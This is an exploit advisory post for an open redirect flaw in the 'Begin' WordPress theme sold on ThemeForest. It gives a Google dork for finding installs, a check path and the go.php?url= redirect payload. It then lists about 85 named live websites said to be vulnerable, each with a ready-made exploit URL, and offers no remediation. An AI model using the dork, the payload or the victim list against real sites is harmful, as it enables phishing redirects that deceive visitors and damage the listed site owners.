facebook facebook twitter rss

WordPress Begin Themes Start-up Business ThemeForest Open Redirection Vulnerability

Author: KingSkrupellos , Published: 04-11-2018
# Exploit Title : WordPress Begin Themes Start-up Business ThemeForest Open Redirection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 03/11/2018
# Vendor Homepage : wordpress.org ~ themeforest.net
# Tested On : Windows and Linux
# Software : themeforest.net/item/begin-start-up-business-wordpress-theme/20590319
# Category : WebApps
# Google Dork : inurl:''/wp-content/themes/begin/inc/''
# Exploit Risk : High
# Versions : All Versions
# CWE : CWE-601 - [ URL Redirection to Untrusted Site ('Open Redirect') ]

#################################################################################################

# Admin Panel Login Path :

/wp-login.php

# Check for Vulnerability :

/wp-content/themes/begin/inc/qaptcha.jquery.php

{"error":true}

# Open Redirection Exploit :

/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

#################################################################################################

# Example Vulnerable Sites =>

[+] hzhjbh.gov.cn/wp-content/themes/begin/inc/go.php?url=https://www.cyberizm.org/

[+] su.gdou.edu.cn/wp-content/themes/begin/inc/go.php?url=https://cxsecurity.com/

[+] onkao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] bangm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] csky8.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] docker.ren/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] aycx360.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] howsci.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] linuxgogo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] rchain.site/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] tiinfo.info/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] sishaofeng.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] grangers8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] trendbbs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] gavindong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] elastosnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 3zschool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] hnxhgroup.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] chenxuehu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] zhouxiaoben.info/src/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] lixuejiang.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] developerfaqs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] kok8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] ishangsf.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xitongtiankong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] bh8sel.top/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] smartpu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] yrnote.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] abcdocker.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] bichi.one/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] yueyuebaby.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] liusongzuo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 52szy.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xnq100.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] zhaohai.wang/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] w3cjava.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] pydata.club/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 5yemao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] chuyuans.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] duanshaolin.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] tuchu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] boyew.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] aiweinews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+]mofomofo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 150643.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] awccc.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] diyi789.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] sichuanganju.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] huoxin.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] qinghe.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] imydl.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 91fh.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 52maicong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] shoujitouping.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] qnjslm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] wmi50.medinfo2017.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] esxqk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] fennbk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] longs.cc/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] cosxitong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] dmgenglish.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] majiajue.biz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] ctrler.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xuansu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 39mo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] chromeba.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 125689.com/edu/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] seceye.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] taotaomeiya.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] sxfblog.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] shipinwhy.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xby.xyz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xiaoxiawz.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] xbphotool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] lihongjing.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] aiweibk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] uuoption.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] dappnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 5mikes.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] get-nordvnp.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] speedfly.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] ainll.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] hula8.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] 94huaji.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

[+] crackvip.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Like us on Facebook :